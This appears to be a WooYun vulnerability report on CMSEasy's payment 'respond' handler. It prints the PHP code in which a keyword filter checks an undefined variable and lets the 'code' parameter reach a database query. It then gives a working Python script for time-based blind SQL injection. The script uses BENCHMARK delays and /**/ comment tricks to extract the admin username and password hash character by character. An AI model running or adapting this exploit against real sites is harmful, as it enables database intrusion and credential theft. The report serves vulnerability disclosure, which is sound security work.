WooYun.org

function respond_action() {


        include_once ROOT . '/lib/plugins/pay/' . front::$get['code'] . '.php';


        $payclassname = front::$get['code'];


        $payobj = new $payclassname();


        $uri = $_SERVER["REQUEST_URI"];


        $__uriget = strstr($uri, '?');


        $__uriget = str_replace('?', '', $__uriget);


        $__uriget = explode('&', $__uriget);


        $_GET = array();


        foreach ($__uriget as $key => $val) {


            $tmp = explode('=', $val);


            $_GET[$tmp[0]] = $tmp[1];


            if(preg_match('/\'|select|union|"/i', $tmp1)){


                exit('非法参数');


            }


        }


        file_put_contents('logs11.txt', var_export($_GET,true));


        $status = $payobj->respond();

function respond() {


        if (!empty($_POST)) {


            foreach($_POST as $key =>$data) {


                if(preg_match('/(=|<|>|\')/', $data)){


                    return false;


                }


                $_GET[$key] = $data;


            }


        }


        $payment  = pay::get_payment($_GET['code']);

public static function get_payment($code) {


        $where=array();


        $where['pay_code']=$code;


        $where['enabled']=1;


        $payment1=pay::getInstance()->getrows($where);//注入


        $payment = $payment1[0];


        if ($payment) {


            $config_list = unserialize($payment['pay_config']);


            foreach ($config_list AS $config) {


                $payment[$config['name']] = $config['value'];


            }


        }


        return $payment;


    }

http://localhost/cmseasy/uploads/index.php/?case=file&case=archive&act=respond&code=alipay'

import urllib2


from time import time





def inject(payload):


    url = 'http://localhost/cmseasy/uploads/index.php/?case=file&case=archive&act=respond&code=alipay'


    req = urllib2.Request(url+payload)


    start = time()


    response = urllib2.urlopen(req)


    end = time()


    index = int(end-start)


    return index


wordlist = "123456789:;Abcdefghijklmnopqrstuvwxyz{"





def user_pass():


    result = ""


    for i in range(1,40):


        for num in range(len(wordlist)):


            word = ord(wordlist[num])


            times = inject("'/**/and/**/IF(ord(substring((select/**/concat(username,0x3a,password)/**/from/**/cmseasy_user),{0},1))<{1},BENCHMARK(2000000,md5('xxx')),null)/**/and/**/'1".format(i,word))


            if times>1:


                print str(i)+'<=========>'+chr(word-1)


                result = result+chr(word-1)


                break


    print 'username:password<=========>'+result


	


user_pass()